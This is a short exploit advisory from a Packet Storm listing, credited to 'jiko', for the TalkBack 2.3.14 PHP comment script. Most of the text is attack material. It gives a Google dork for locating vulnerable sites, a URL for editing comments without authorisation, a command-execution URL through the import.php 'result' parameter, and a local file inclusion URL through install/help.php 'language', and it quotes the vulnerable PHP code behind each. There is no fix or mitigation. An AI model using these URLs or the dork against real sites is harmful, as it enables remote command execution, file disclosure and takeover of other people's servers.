TalkBack 2.3.14 Execution / Local File Inclusion

2009-07-10T00:00:00
ID PACKETSTORM:79072
Type packetstorm
Reporter jiko
Modified 2009-07-10T00:00:00

Description

                                        
                                            `JIKO No-exploit.Com  
Download:http://scripts.oldguy.us/talkback/downloads2/talkback2.3.14.zip  
Script : talkback V 2.3.14  
Dork:inurl:test.php Powered by TalkBack  
--------------------------------------------  
Edit Comment ~[+]  
talkback/comments.php?edit=1&edit_id=2&  
Command ~[+]  
talkback/addons/import.php?result=[Command]  
Code;  
$last_line = system($command, $result);  
Local File ~[+]  
Note : if floder install not deleted  
http://localhost/test/talkback/install/help.php?language=[File]  
code;  
$file = "../language/{$_REQUEST['language']}.php";  
if (!is_file($file))  
exit("Language file '$file' does not exist");  
include ($file);  
  
`